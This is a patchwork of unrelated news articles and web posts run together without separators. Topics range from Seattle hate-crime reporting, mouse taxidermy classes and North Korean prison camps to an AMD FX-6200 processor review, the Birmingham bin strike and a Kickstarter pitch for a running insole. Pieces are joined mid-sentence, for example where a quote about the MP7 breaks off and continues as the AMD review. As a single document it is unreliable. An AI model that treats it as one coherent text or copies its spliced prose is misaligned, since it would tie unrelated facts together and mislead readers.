This is not the case in many other cities and towns, where hate crimes may be more likely to go unreported. A recent Associated Press report found that more than 2,700 police agencies around the nation never categorize any hate crimes as such.
Kebba says some communities may be less inclined than others to report when they are victims of a hate crime, particularly those who are newly arrived in the U.S.: “I think language can be a barrier, and cultural difference — like the way they perceive police in their home country can sometimes be an initial barrier … We need to work through those issues,” he said.
The SPD also tracks bias incidents, which are classified as noncriminal — hateful speech, for example — if they are reported by a victim. Most police agencies don’t keep this data, but the SPD believes it’s important: “We do it as a matter of tracking a particular offender,” Kebba said. “We want to put people on notice that their acting out in public is not acceptable.”
Hate crimes and incidents happen in all parts of the city, but about a third are reported on Capitol Hill, where both straight and gay people party.
“Sometimes it’s just a matter of them wandering into your world — they see you holding hands with your boyfriend, or whatever, and they take offense to that,” Kebba said.
Offenders are often inebriated or high, and so their inhibitions are lowered. “People are out, they are angry and misbehaving to begin with, and they just find something to latch onto,” he said. “They are targeting individuals that they are predisposed to hating.”A new workshop in Edinburgh in Mouse Taxidermy offers the unique and slightly odd opportunity to stuff dead mice and pose them up as humans.
Instead of leaving with a new fruit bowl or the ability to order dinner in Paris, students head home with their own stuffed and embalmed rodent, all ready to be dressed in a range of outfits and styles, polka dot dresses, Victorian garb, punk or even suited and booted.
A mouse with a machine gun. Picture: comp
The four-hour class, costing £65, is run by trained taxidermist Shannon Marie Harmon, whose own works can sell for £100 upwards.
Only frozen feeder mice bought from pet shops are used for the arts and crafts session, with each left to thaw beforehand. Shannon then instructs her students in making the first incision near the sternum before cutting down to the groin.
A preservative known as Borax is then applied before the mouse is sewn up, ready to be dressed.
Despite such “icky” details, a number of upcoming taxidermy workshops are already said to be generating quite a buzz from people keen to try their hand at something different.
Shannon Marie Harmon says interest in her novel classes is growing. Picture: contributed
Ms Harmon, 30, who teaches at the London Taxidermy Academy, said: “I fully understand that there is a natural curiosity and a kind of morbid fascination with this, but interest is definitely growing. I currently run two 15-person classes a week in London.
“It’s a novel thing to do, you learn a skill whilst also leaving with a unique piece of art to display as you wish.”
Anthropomorphic taxidermy – the practice of mounting and displaying stuffed animals as if they were humans – was a popular art form during the Victorian and Edwardian eras. The best known practitioner was Walter Potter, whose famous works included The Kitten Wedding and The Kitten Tea Party.
Ms Harmon regularly receives bizarre commissions from fans and collectors of the niche art form, as well as offers of fresh roadkill.
She said: “I’ve created headpieces and hair clips with tiny sleeping mice on top and have also been asked to stuff a rat and put him riding a mini tricycle.
“One of the weirdest was from a guy who asked for a mouse holding a cage with little humans inside. People also often offer me roadkill such as squirrels, birds or rabbits to stuff. I’ve become quite friendly with one or two vets.”
The workshops are being held at the White Rabbit boutique, Broughton Street. Demand is already high with a number of briefs already snapped up.The Broad Run Station is the first stop on the Manassas commuter rail line on weekday mornings and the last each weekday afternoon.
And it could become a thing of the past.
Virginia Railway Express is conducting a study of a proposed 11-mile extension of the system’s Manassas line to Gainesville and Haymarket called the GHX. If service is expanded, trains will travel along what’s known as Norfolk-Southern’s “B line” from Haymarket to Gainesville, to Innovation Park at George Mason University Science and Technology Campus, and then travel the main line through Manassas onto Washington D.C.’s Union Station.
The 2-year GHX study will indicate how much it would cost to expand the state’s only commuter railroad, and identify any impacts to the environment that could be caused by an expansion. Up to two additional tracks could be needed to accommodate the extra passenger trains — up to two an hour during peak periods – as well as the existing freight traffic that currently uses the line.
Extra trains would mean VRE needs more placed to store them. An existing storage yard at the Broad Run / Manassas Airport station in an obvious choice. That yard would need to be expanded, leaving little room left for the rail station.
“We’re up against the airport on one side, and a flood plain on another,” said VRE CEO Doug Allen. The two-lane street Piper Lane leading to the station is often flooded out after rains when Broad Run spills its banks.
The study will examine whether or not to move the station further east along the line, to somewhere near the Prince William Chamber of Commerce building on Capital Court, or further west of the airport. The study could also suggest closing the station altogether, and that would mean those who use the station today would need to drive about three miles north to a new station that would be built at Innovation Park.
The Broad Run station is popular with not only Prince William County and Manassas residents but also those who drive in from neighboring Fauquier County and points west to access the VRE system. VRE would need to negotiate land deals for the three new stations. The commuter railroad would most likely need to buy land in which to build the stations.
Allen said a spur off of the B line into Innovation Park would be necessary to make the station more convenient for riders to access. That would allow riders to walk to nearby destinations like the University, Freedom Aquatics and Fitness, and Hylton Performing Arts centers, as well as the many life sciences labs and offices popping up in the area.
If reverse commuting service from Washington on the Manassas and Fredericksburg lines is implemented, trains could bring students and employees to Innovation Park, increasing the need for walkability.
VRE on November 16 opened up it’s first new station since the original commuter rail system opened in 1992, in Spotsylvania County. It sits on 22 acres of land — most of which is used for riders who park their cars during the day and catch the train to work.
“It’s big,” said Allen, of the Spotsylvania property.
The Gainesville-Haymarket study will determine how much land would be required for the three new proposed stations on the B line. Those stations could be the same land footprint as the Spotsylvania station.Today I read the newest issue of RECOIL Magazine, Volume 1 Issue 4 with the MP7 on the front. Much to my dismay I found the following quote in it:
“Like we mentioned before, the MP7A1 is unavailable to civilians and for good reason. We all know that’s technology no civvies should ever get to lay their hands on. This is a purpose-built weapon with no sporting applications to speak of. It is made to put down scumbags, and that’s it. Mike Cabrera of Heckler & Koch Law Enforcement Sales and veteran law enforcement officer with SWAT unit experience points out that this is a gun that you do not want in the wrong, slimy hands. It comes with semi-automatic and full-auto firing modes only. Its overall size places it between a handgun and submachine gun. Its assault rifle |
comes to CPUs. Early last year when we saw the performance of the low power Bobcat architecture, we thought 2011 would be a breakout year for AMD. Bulldozer was on the horizon and it promised performance a step above what Intel could offer. This harkened back to the heady days of the original Athlon and Athlon 64 where AMD held a performance advantage over all of Intel’s parts. On the graphics side AMD had just released the 6000 series of chips, all of which came close in performance to NVIDIA’s Fermi architecture, but had a decided advantage in terms of die size and power consumption. Then the doubts started to roll in around the April timeframe. Whispers hinted that Bulldozer was delayed, and not only was it delayed it was not meeting performance expectations.
The introduction of the first Llano products did not help things. The “improved” CPU performance was less than expected, even though the GPU portion was class leading. The manufacturing issues we saw with Llano did not bode well for AMD or the upcoming Bulldozer products. GLOBALFOUNDRIES was simply not able to achieve good yields on these new 32 nm products. Then of course the hammer struck. Bulldozer was released, well behind schedule, and with performance that barely rose above that of the previous Phenom II series of chips. The top end FX-8150 was competitive with the previous Phenom II X6 1100T, but it paled in comparison to the Intel i7 2600 which was right around the same price range.
Read the entire review here.
Perhaps the biggest disappointment for many users was the launch of the FX-6100. This chip originally sparked a lot of interest as it was a 3 module/6 core product with a 95 watt TDP for under $200 that promised to be something of a budget enthusiast’s dream. When performance figures came out, the chip did not hold up to the lofty expectations held by users. At a stock 3.3 GHz, it was simply outclassed by products such as the i5 2500 and 2500K variants, which were again in the same price range. Even though the processor had a maximum Turbo Core of 3.9 GHz, it just could not keep up in most applications with the smaller and less power hungry Intel Sandy Bridge based products.
Hope springs eternal though, and when news leaked out that AMD would be introducing refreshes for the FX-4000 and FX-6000 chips people were expecting there to be an improvement in thermals and perhaps even a minor revision update to the design. The chatter turned to potential per clock improvements, better overclocking headroom, and a couple of products under $200 that could hold their own against Intel’s mighty Sandy Bridge. Then the actual details came out. These chips were of the same revision as the previous parts, and the speed increase they saw was due to the TDP ceiling being raised from 95 watts up to 125 watts. Still, there was hope that these products could more than hold its own against the i3 and i5 in the same price range. Does the FX-6200 succeed? I guess we are about to find out.
The FX-6200
Ryan and I have covered the Bulldozer architecture in previous articles, so I will not go over the finer details here. I will discuss some of the basics of the chip and the architecture.
The FX-6200 is based off of the same Bulldozer revision as the previous FX series of parts that was released last October. There may have been some minor changes along the way, but they would have more to do with manufacturing rather than any kind of base silicon or extreme metal layer change. The product is still built by GLOBALFOUNDRIES on their 32 nm HKMG SOI process. The chip is a native 4 module/8 core product, but one of the modules has been fused off and is unavailable for unlocking. This leaves 3 modules/6 cores for the processor to work with. Each module features 2 MB of L2 cache to be shared between the two integer units and the single FPU/MMX/SSE/AVX unit, for a total of 6 MB of L2 for the entire CPU. The L3 features the full 8 MB of cache that is available on fully enabled CPUs.
The full meal deal of a retail/boxed processor. The 3 year warranty and heatsink/fan are likely worth it to most users.
The base clock is now set at 3.8 GHz, which is faster than the 3.6 GHz stock clock for the FX-8150. To achieve this clock AMD raised the TDP to 125 watts, which is up from the 95 watts of the FX-6100. The max Turbo Core speed of the FX-6200 is 4.1 GHz. AMD did raise the Northbridge/L3 cache speed on the FX-6200, and it runs at 2.2 GHz rather than the 2.0 GHz that the FX-6100 was set to. The memory controller is heavily revised from the previous Phenom II generation of parts, and it can handle official speeds up to DDR-3 1866 MHz.
The retail package comes with a pretty hefty heatsink and fan combination that should be able to handle the extra thermal load that the 125 watt CPU provides. The CPU has a standard 3 year warranty for the boxed version, while a tray chip has a 30 day warranty. The boxed product retails for $169 US, but can often be found cheaper with instant rebates and sales.
The FX processors are all unlocked so it makes them very easy to overclock. Most retail motherboards cover all of the settings needed to increase the multipliers on the CPU and overclock the chip. Success of any overclock is not guaranteed and the choice of motherboard will also directly affect the ability of the chip to reach higher speeds.President Trump threatened both lawmakers and the insurance market on Saturday, warning their "bailouts" will end "very soon" if Congress don't pass a bill to repeal and replace Obamacare.
"If a new HealthCare Bill is not approved quickly, BAILOUTS for Insurance Companies and BAILOUTS for Members of Congress will end very soon!.." Trump tweeted on Saturday.
If a new HealthCare Bill is not approved quickly, BAILOUTS for Insurance Companies and BAILOUTS for Members of Congress will end very soon! — Donald J. Trump (@realDonaldTrump) July 29, 2017
The "bailout" for insurance companies may be in reference to cost-sharing reduction subsidies, which Trump has previously indicated he wanted to cut as a negotiating tactic to bring Democrats to the table on healthcare reform. The administration has been paying the funds each month, including for July, while waiting for congressional progress on repealing and replacing portions of Obamacare.
The second part of his tweet appears to be threatening an elimination of subsidized healthcare for members of Congress.
Earlier Saturday morning Trump sent out a flood of tweets pressing Senate Republicans to go "nuclear" for legislation, which means bypassing the 60-vote threshold for filibusters. That followed the Republicans' failure this week to make progress on their effort to pass legislation that would work towards dismantling Obamacare. Trump said
Trump's challenged the Senate GOP to "step up to the plate," follow through with their "promise," and assured his followers there will be "repercussions" for those who don't.'Hell on earth': Detailed satellite photos show death camps North Korea still deny even exist
More than 200,000 men, women and children are held in the camps
Many are hidden in mountains and valleys
South Korean government sending religious leaders on sortie to North Korea tomorrow and could meet Kim Jong-Il
People are taken from the streets or their homes and imprisoned for general 'political crimes' as well as involvement in the arts
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The North Korean government may deny their existence, but photos taken from space have revealed in unprecedented detail the concentration camps that are used imprison more than 200,000 citizens.
Men, women and children are forced to work seven days a week as slaves and eat 'rats, frogs, snakes, insects' and even faeces to battle starvation in the camps.
Previously there have been blurred images taken by satellite but new detailed pictures from South Korea's Unification Ministry allow a closer look at the sites - and also prove they have grown.
Experts say the tens of thousands of prisoners at the camps are often taken from their homes or in the street for supposed 'political crimes' rather than actual misdemeanours.
Closed off: Close to its border with China, the camp in Hwasong in North Hamkyong Province, has never been seen in so much detail
Secluded: Surrounded by snow this camp in Bukchang, South Pyongan Province, is where many prisoners will die in complete squalor after working as slaves
Half of all the inmates will die of starvation or malnutrition with others dying because of fatal diseases that thrive in the squalid conditions.
This is if they are not killed by torture, firing squad, or a public stoning by Kim Jong-Il's violent guards, former prisoners say.
One of the photos shows the Yodok camp, which holds an estimated 50,000 North Korean prisoners and is hidden in the mountains around 70 miles from the capital Pyongyang.
Kang was only nine years old when he and his family were sent there for political crimes.
'We had no food. We eat anything we could get our hands on -- rats, snakes, frogs, insects,' he told CBN news. 'We just had to find a way to survive.'
'Even though it happened a long time ago when I look at the satellite pictures I can still remember everything I saw and endured,' he said.
'The camp definitely looks bigger. For example, new buildings for prison guards weren't there before. I can only assume that means there are more prisoners being held and therefore more security is needed.'
Kang spent 10 years in Yodok before escaping to China in 1992 and wrote about his experiences in the book The Aquariums of Pyongyang.
Secret: Photos of the camp, only know as 22, were taken after finding their locations on Google
Undeniable proof of existence: These satellite photos are of the North Korean prison camp Yoduk. The images show the camp in detail (top left) and then slowly zoom away to show its location in the country (bottom right)
It is believed he is the first prisoner to reveal to the world the existence of Yodok.
'The thing I remember the most about in the camp is how the prison guards would kill people for no reason. I witnessed many people being executed,' he said.
Amnesty International has compared the satellite images to those taken 10 years ago and confirms they are growing in size and branded them 'hellish'.
'The outside world certainly doesn't know what's going on and very little from the inside comes out,' Sam Zarifi, from Amnesty International said last month.
Deadly: Kim Jong Il's North Korea deny the existence of any camps, but this image of camp No. 14 in Kaechon, South Pyongan Province, shows clearly buildings and a large open yard
'The very little that has come out paints a very disturbing picture.'
Scott Edwards, director of the science and human rights program at Amnesty International added: 'The fact that we would have to rely on satellite imagery just to dispel the government's assertion that these camps don't exist is testament really to the scale of the human travesty that might be going on inside.'
The news came as it was revealed the South Korean government will send a group of religious leaders and representatives to visit North Korea tomorrow on a peace mission.
The Unification Ministry says delegates from the Korean Conference on Religion and Peace will leave for Pyongyang on Wednesday, where they will discuss peace and human rights issues.Israeli musician Idan Raichel, known for his Idan Raichel Project, has scored yet another impressive international achievement: His latest album, "Quarter to Six," has been included among the 10 Best World Albums on iTunes, Apple's online store.
Raichel is reaping the fruit of his hard work abroad in the past few years, which includes many performances in world music festivals with his project, in small places too.
Musical Ambassador Idan Raichel conquers Africa Itamar Eichner Israeli singer completes successful 10-day concert tour in Rwanda, Ghana and Angola Idan Raichel conquers Africa
"This is a very exciting moment," Raichel said in response. "The point is to present to the world the soundtrack of the place you come from. There is no need for any adaptation. This was a very interesting year. I think that our audience has grown."
The singer-songwriter recorded a major achievement in the Israeli market as well for selling 100,000 copies from his latest album. Since releasing the first project, exactly 11 years ago, he has sold 560,000 copies from his five albums in Israel, an impressive number which does not include album sales abroad.
"We are not motivated by the level of achievements," he says. "It's just a measure of the big embrace we are receiving from the audience. It's a great privilege to reach people through music."
"Many people ask me whether I will continue the world tours now that I've become a father, and I think that I definitely will. My musical fulfillment must continue on the same line, alongside the family fulfillment."Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
The Birmingham bin strike is back on - and it is set to rumble into 2018.
That is the chilling warning from unions after Birmingham City Council announced it was issuing redundancy notices to dustmen last night.
The strike - which left the streets of the city covered in black bags and maggots for much of the summer - resumed at 7.30am this morning.
It had been suspended - but that has now been lifted - and the Unite union said it will now reballot workers and said the industrial action was set to go into NEXT YEAR.
Unite assistant general secretary Howard Beckett described the council's actions as "deeply provocative".
Immediately, binmen are now walking out three times a day - 7am, 10.30am and 1pm.
Unite said it would re-ballot its members meaning industrial action could extend until the New Year.
Mr Beckett said: “This is a deeply provocative act that drives a coach and horses through the agreement Unite reached with the council in good faith at the conciliation service Acas.
(Image: Birmingham Mail)
“It does a great disservice to the people of Birmingham and the city’s refuse workers who now face being made redundant and losing their livelihoods or pay cuts of thousands of pounds.
“The last thing refuse workers want to do is resume industrial action and see piles of rubbish accumulating on Birmingham’s streets. This is their city too. Our members want to focus on delivering a safe efficient service to people of Birmingham.
“Sadly it seems the council does not want to see that happen. Instead of embracing an agreement that would have seen compromise on all sides, the council seems content to put people on the dole and cut their wages by up to £5,000.
“Unite calls on the council to come to its senses and withdraw these redundancy notices to avoid the disruption of industrial action.”
The council last night issued redundancy notices to the "Grade 3 Leading Hands" in its refuse service.
(Image: Birmingham Mail)
In a statement, the authority said it wished to "continue its ongoing discussions with trades unions through ACAS" and find new jobs for the affected staff.
Cllr John Clancy, Leader of Birmingham City Council, said: “The new waste collection system we are introducing will provide a better, more efficient service for citizens and will enable the service to be run within budget.
“We will be creating more than 200 new refuse collection jobs for loaders. These will be full-time, offering a range of benefits, including pension entitlement and sick pay and will replace expensive agency contracts which do not include these benefits.”
Cllr Lisa Trickett, Cabinet Member for Clean Streets, Recycling and Environment, added: “None of the Grade 3 leading hands who are being made redundant need to lose their jobs with the council.
"Alternative Grade 3 posts, at the same salary in other parts of the council, are available for all those affected leading hands. No one needs to suffer a cut in their basic pay."
Desmond Jaddoo said via Twitter also commented on the situation: "This will only lead to a greater public health hazard with vermin".NASHVILLE, Tenn. (AP) — “Me and Bobby McGee” is one of Kris Kristofferson’s most famous and widely covered songs, with everyone from Janis Joplin to Pink putting their own spin on it since 1969.
It’s often misinterpreted as Kristofferson’s love song to Joplin, because her bluesy rendition has overshadowed all other versions. She recorded the song right before her death in 1970 and it topped the U.S. singles chart in 1971.
But the real inspiration for the song came from producer and co-writer Fred Foster, who will be inducted into the Country Music Hall of Fame on Sunday along with Charlie Daniels and Randy Travis, and a young secretary named Barbara McKee.
Foster helped launch the careers of artists like Kristofferson, Roy Orbison, Willie Nelson and Dolly Parton. In the 1960s, Foster moved his record label Monument Records from Washington, D.C., to Tennessee in a building owned by his friend and songwriter Boudleaux Bryant.
McKee, whose last name is now Eden, was a 29-year-old working as Bryant’s secretary and went by the nickname Bobbie.
“So I ran down about the fourth or fifth time this particular day and Boudleaux says, ‘I don’t think you’re coming to see me at all. I think you’re coming to see Bobbie,'” Foster said.
“It seemed like he liked to tease me a little bit and one day he said, ‘I am going to write a song about me and Bobbie McKee,” Eden said.
Kristofferson was one of Foster’s newest hires, a Texas-born athlete and Army veteran who loved William Blake. He had been trying to break through as a songwriter, even working as a janitor in a Music Row recording studio. After hearing some of his songs, Foster said he would only hire Kristofferson as a songwriter if he also signed a record deal.
“He was so intelligent, so gifted, so talented and he didn’t sound like anybody I had ever heard,” Foster said.
In 1969, Foster called up Kristofferson with the song title idea with the hook that Bobby was a woman. Kristofferson apparently took his own liberties, changing McKee to McGee, and invented a road song story about a pair of travelers who drifted apart. In Joplin’s version, she switched the genders and made Bobby a man.
Eden remembers the day that Kristofferson and Foster came into the office to sing her the song. Eden had never met Kristofferson before.
“Fred came in and said, ‘I want you to meet the real Bobby McKee and here’s Kris Kristofferson to sing your song for you,'” Eden said, laughing. “It was great! I loved it, of course. Kris said he couldn’t sing very good, but he’ll try. But I just thought it was the most fantastic song I had ever heard.”
The song caught fire immediately. Kristofferson played the song for Roger Miller, a country-pop singer who was the first artist to cut it in 1969, and made it a Top 12 country hit. Kristofferson released his own version in his debut album “Kristofferson” with Monument Records in 1970.
“Then I started hearing it on the radio and I would just go crazy every time I heard that song,” Eden said.
But the real turning point for the song was Joplin’s cover. Foster had no idea that Joplin had also cut the song for her posthumous 1971 album “Pearl,” until he talked to legendary producer Clive Davis, then president of Columbia Records.
“He drops the needle, and when that voice comes in, ‘Busted flat in Baton Rouge,’ I nearly fell out of my chair,” Foster recalls. “And I was a Joplin fan, but I didn’t know that she could do anything but rock hard. When she got to the middle part of ‘Me and Bobby McGee’ and she brought it down to the sweet and tender, I thought, ‘Man, what a loss.'”
At 85 years old, Foster is still an active producer and just produced a Ray Price tribute album for Willie Nelson, called “For the Good Times,” that was released in September.
“If I don’t know more at 85 than I did at 75, I am not learning very fast, am I?” Foster said. “I think I’m probably a better producer today than I have ever been.”
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Online:
http://countrymusichalloffame.org
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Follow Kristin M. Hall at twitter.com/kmhallDear Ms. Pao:
Shame on you. Your recent announcement that Reddit would not negotiate salaries is a terrible choice for your company and a bad sign of the way things have become in our society. You were recently quoted in the press:
“Men negotiate harder than women do and sometimes women get penalized when they do negotiate.”
There is so much wrong with this statement, it is hard to know where to start. First, how insulting to the many women I know who are tough negotiators. Real Estate brokers, HR directors, and CEOs that I know ought to be offended by that sweeping generalization. I feel like that if I had made that statement (and I wouldn't, because I don't agree with it) I would be labeled sexist for implying that all women are somehow less than all men.
But the truth is that different people do have different skills as much as it irks our society to agree to it. A lot of engineers (male or female) don't negotiate well. Many don't write and speak well. I'm that odd engineer that does write. Why shouldn't I expect better compensation if my job requires communications?
That's the real problem with your statement and your new policy. Negotiation (and communications, but that's another story) are core business skills. A programmer doesn't have to be able to do either, but the best ones do. Why? Because everything is a sale. Even if I never deal with a contract or directly talk to a customer, my ability to negotiate with team mates, other teams, and internal stakeholders is crucial to the health of the project, the company, and my career. There's nothing wrong with rewarding people who have relevant skills (professional sports is the last place that apparently understands that). If you can't or won't negotiate, then you probably deserve less than someone who can unless you have a very unusual job where that is of no value.
I recently wrote about how companies now say "we don't negotiate" as a way of getting their way. As I pointed out there, when you do this, guess what happens to people who negotiate? They go somewhere else! Because, as you know, if you aren't willing to walk away you aren't negotiating. If I were one of your shareholders, I'd be very concerned about the kind of workforce you are building and how they will negotiate with each other and outside entities.
To be competitive, we need to build diverse organizations where people have different strengths. Discouraging people from having a core strength is not the answer. Look at the wonderful efforts being made by organizations like girlstart and others to get women involved in STEM. Who would take them seriously if they wanted to reduce engineering curriculum (for example) so more women would graduate? That would be highly offensive and a bad business decision. Yet, there's really no difference in what you've suggested. Instead of raising women up in a skill that many women are good at, level the playing field for them by punishing the capable (both men and women, alike).
It seems to me that either you've chosen to force your will on employees and decided to hide it in the guise of equality, or you've insulted all the women in the workforce who don't need a hand up. Either way, shame on you.
Regards,
Al Williams
P.S. The opinions expressed are solely my own.Syracuse -- On Wednesday, Syracuse University basketball coach Jim Boeheim told syracuse.com that the Orange would play a handful of exhibition games in Ottawa and Montreal this August.
The early exhibition games plus the allotted practice time would give Boeheim the opportunity to work with a team that loses three starters off last year's Final Four team and will also see the influx of five new freshmen.
Now, a few more details of Syracuse's trip north of the border are coming out.
Rod Gilpin, the head men's basketball coach at Bishop's University in Sherbrooke, Quebec, tweeted that Bishop's would play Syracuse in Montreal on Aug. 21. The venue for the game is still unknown.
Excited to be playing the Syracuse Orangemen Aug 21 in Montreal. ACC basketball in August!! Wish they were still in theBig East though! — Rod Gilpin (@GaiterHoops) May 30, 2013
Meanwhile, the Ottawa Sun is reporting today that Syracuse will play the Carleton Ravens and the Ottawa Gee-Gees on Aug. 23-24 in Ottawa. According to the Sun, the Orange will play Carleton on Aug. 23 at Scotiabank Place and the Gee-Gees on Aug. 24 at Montpetit Hall.
Syracuse is expected to play one or two more games in Montreal in addition to the Aug. 21 game against Bishop's University. Expect more updates when the opponents, dates and venues for those games become known.Republican Rep. Blake Farenthold of Texas, who isn't seeking re-election amid allegations of sexual harassment, won't appear on 2018 primary ballots after Democrats unsuccessfully tried Wednesday to leave his name in place.
Democrats argued that Farenthold's name should have to remain on the ballot since he missed the deadline in Texas for candidates to withdraw. But they quickly dropped a lawsuit Wednesday after losing before a federal judge.
Farenthold announced last week he would retire while denying 3-year-old accusations that he'd subjected a former aide to sexually suggestive comments. Fellow Republicans urged him not to run again, and Farenthold apologized for an office atmosphere that he said included "destructive gossip, offhand comments" and other behavior.
Farenthold's decision came four days past the Texas deadline for candidates to withdraw, prompting the Texas GOP to file its own lawsuit last week to remove his name. The party claimed victory Wednesday, saying state elections officials had signaled they couldn't force Farenthold's name to remain on the ballot.
In 2006, Democrats sued to keep former U.S. House Majority Tom DeLay on the ballot when the powerful Republican resigned after being indicted. Republicans weren't allowed to replace DeLay, who had already won his primary, and instead had to back a write-in GOP candidate who went on to lose to Democrat Nick Lampson.
Six Republicans and four Democrats are vying to replace Farenthold.Sanya International Cruise Development Co Ltd, a joint venture by COSCO Shipping, China National Travel Service (HK) Group Corp and China Communications Construction Co Ltd, will buy between five and eight ships for cruises in the South China Sea, the official China Daily reported.
BEIJING: Up to eight Chinese ships will offer cruises to the South China Sea over the next five years, a state-run newspaper said on Thursday (Jul 21), as Beijing continues to promote tourism to the disputed waters.
Sanya International Cruise Development Co Ltd, a joint venture by COSCO Shipping, China National Travel Service (HK) Group Corp and China Communications Construction Co Ltd, will buy between five and eight ships, the official China Daily reported.
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It will also build four cruise liner docks in Sanya, a Chinese resort city on the southern island province of Hainan, the paper added.
Liu Junli, chairman of Sanya International Cruise, said the company is already operating the "Dream of the South China Sea" cruise ship and plans to add another two cruise ships by next summer, the report said.
The ships will travel to the Crescent group of islands, part of the Paracels, and is also "considering a cruise around the South China Sea at the appropriate time", it added.
Hotels, villas and shops will all be built on the Crescent group, the paper said.
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It is not clear if foreigners will be allowed on these cruises or if they will be allowed to visit China's holdings in the South China Sea.
China claims 90 percent of the potentially energy-rich South China Sea. Brunei, Malaysia, the Philippines, Vietnam and Taiwan lay claim to parts of the sea, through which passes about US$5 trillion of trade a year
Countries competing to cement their rival claims have encouraged a growing civilian presence on disputed islands in the South China Sea. The first cruises from China to the Paracel islands were launched by Hainan Strait Shipping Co in 2013.
Beijing has also said it wants to build Maldives-style resorts around the South China Sea.
China has refused to recognise a ruling by an arbitration court in The Hague that invalidated its vast territorial claims in the South China Sea and did not take part in the proceedings brought by the Philippines.We are FUNDED as of today! From the entire Stridalyzer team, a heartfelt gratitude to all our Backers!
If you haven't reserved your Stridalyzer yet, please do that right away: be among the first to get the BEST running wearable product in 2015!
MSN News lists Stridalyzer as one of the Best Inventions for the coming Year! http://a.msn.com/01/en-gb/BBhjLhj lists Stridalyzer as one of the
Support us in this final week and help make Stridalyzer an awesome product that it can be!
UPDATE Dec. 24, 2014: Happy Holidays to All!
UPDATE Dec 16, 2014: 1 WEEK ON KICKSTARTER! Thank you to our 108 Backers for helping us cross $10,500 mark!
We are announcing some updates on rewards:
We will be giving out a Dri-Fit "STRIDALYZER" T-Shirt to ALL current and future backers on the $26 (Marathon Backer) level!
We received your feedback that there is a big gap between $26 and the $90 levels. So we added a $50 (Triathlon Backer) level!
We added a "Running Coach" Backer level at $1000 level - for all trainers and coaches out there who have expressed interest in using our product in their running classes.
We will give out an extra T-Shirt for every backer you recommend that contributes on the $90 or higher level! Please ask the backer you recommend to put "Recommender: <Your Name>" in the comments when backing!
Thank you one again for the great response! Now, off to another exciting week!
The key to good running is in the fundamentals – your Running Form. Rather than focus solely on reporting metrics, Stridalyzer helps you understand, and improve, your form through an actionable, guidance-based approach and technology. While there are a lot of debate on the best way to run, there are two aspects of running that everyone can agree on: the “Right” way to run is unique to every person’s body, and that preventing injuries and increasing performance comes from the “right” form.
Stridalyzer helps you with determining YOUR right form, and helps you achieve that.
Media Coverage for Stridalyzer
"Then I came across the Stridalyzer. A wearable for runners, it analyzes the stride and gait and, among other things, can predict if one is heading for an injury. Even a non-runner like me could see the value of that kind of information to a runner or a sportsperson." -Ramya Venugopalan, YourStory
Stridalyzer uses a pair of insoles with a novel, patent-pending technology with multiple sensors integrated in them, to detect how your foot lands, rolls and pushes off the ground. All you need to do is put these insoles in your shoes, turn the app on, and start running; Stridalyzer automatically understands that you are moving, and will start collecting data about your run.
Monitor and Understand various Injury-causing Stresses!
Alerts and advice – when you need them
We have designed our solution to continue to monitor your run, and interrupt you only when it needs to “alert” you with some important information or quick guidance. For example, if you start persistently overpronating, or if your footstrike pattern changes, you will get a visual as well as an audio alert - this way you can keep your eyes on the trail and still get the information or advice that's relevant for you - WHEN it becomes relevant!
Real-Time alerts and guidance
One in four runners will have some kind of knee injury in any given year. Of all running injuries, about 42% are knee injuries. So we made it our top priority. Stridalyzer can estimate the various stresses acting on your knee and provide you with alerts, guidance and detailed data for your review, that can help you understand when and how you are overstressing your knees, and help prevent the all-too-common “runner’s knee”.
Real-Time Foot and Knee Stress Maps!
Of course, Stridalyzer provides the real-time foot stress map as well. You can replay these maps for your previous runs as well - An awesome tool to help you find your next pair of shoes, or to take to your running coach!
Performance-Train like a pro!
If you are trying to buildup your pace or find the optimal rhythm for your next marathon, Stridalyzer helps you monitor and track the three fundamental performance parameters: Stride Rate, Stride Length and the most elusive – Ground Contact Time. Using our patent-pending technology, we can measure ground contact time extremely accurately!
Intuitive reports and guidance
Like many fitness tracking device, we measure various types of data. However, unlike those trackers, we have worked with fitness trainers to come up with intuitive, easy-to-understand metrics to help you measure your “overall” run performance using two fundamental metrics: PerfScore, which is your overall run performance score (aggregating distance, pace, incline, stride length & rate, calories burnt, etc), to reflect the overall “effort” made by you.
"So far most footwear wearables have focussed on mapping the runner’s route, distance, pace and time, and gamified with social shares and audio cues; few have tried to explore the runner’s technique and use data to help improve their run." -Vinay Dora, e27.co
We also defined a measure called “FormScore” – (aggregating the stresses on your feet and knees, overpronations/underpronations, etc) to give you an idea of your overall “form” during the run.
Intuitive Reports & Advice
In addition, you can get an idea of how you foot-strike and foot-roll - as an overall run-summary distribution, or as your strike type over your run duration. This can help you understand what kind of strike pattern and roll pattern you have when you hit the "fatigue wall", and can help you create the right strategy for your next 10K or the next Ultramarathon!
Who are we?
We, ReTiSense, really like running. And technology. Anshuman and Ryan have been long-distance runners for several years, and have had their share of running injuries and problems. Additionally, Ryan is an expert in the Software Architecture, UI Design and mobile app development, and a certified Agile Development trainer. Anshuman is an expert on Analytics who enjoys looking for patterns in data and in life. Shuvadeep is our resident expert at sensor and circuit technology. Gaurav, Rakesh and Jayaraj are crazy-energetic guys working on the web technologies. Neeti is our Supply Chain expert who is fanatical about sustainability, so she is constantly beating us up to ensure we use eco-friendly materials, and save even microwatts of battery power (yes, we told her it’s rechargeable, but even then).
We have been blessed to have the advice and consultation of several sports trainers, consultants and physicians – some paid, some who just really like what we are trying to do. And finally the runner community in Bangalore, San Francisco and Austin for their help, advice, and early trials.
"ReTiSense could be about to make a huge breakthrough for runners." -James Stables, WAREABLE.com
Where are we in our development?
We have been iterating and improving our product from one prototype to the next using the AGILE methodology: Prototype -> experiment -> get feedback -> make improvements->repeat. This has worked very well, for hardware as well as software.
We are at our 3rd revision of the prototype, and we are starting our early user trials in mid December with about 25 pairs of insoles. We are building these manually, and one big learning we have had is it's really difficult getting a pair of insoles integrated identically when doing the integration manually!
Our Current Build for limited-user deployment
Below is the High-Level Timeline for our product. We plan to complete our App work by April, and the manufactured product should start shipping out in April 2015!
We have logged hundreds of runs in our internal testing and limited-user trials. We aim to log about 1000 hours of runs in each limited-user testing phase, before we green-light our volume production. And that's when we need the BIG BUCKS, and we need YOUR HELP to get there.
Our Manufacturing Plans
We have been working closely with our component suppliers (our patent-pending technology requires very specific components), electronic contract manufacturers, insole manufacturers and final product aggregators. We have finalized our contract manufacturer and our insole supplier, and currently working together with them to define the best process of integrating the circuitry into the insole.
Our Manufacturing Partners
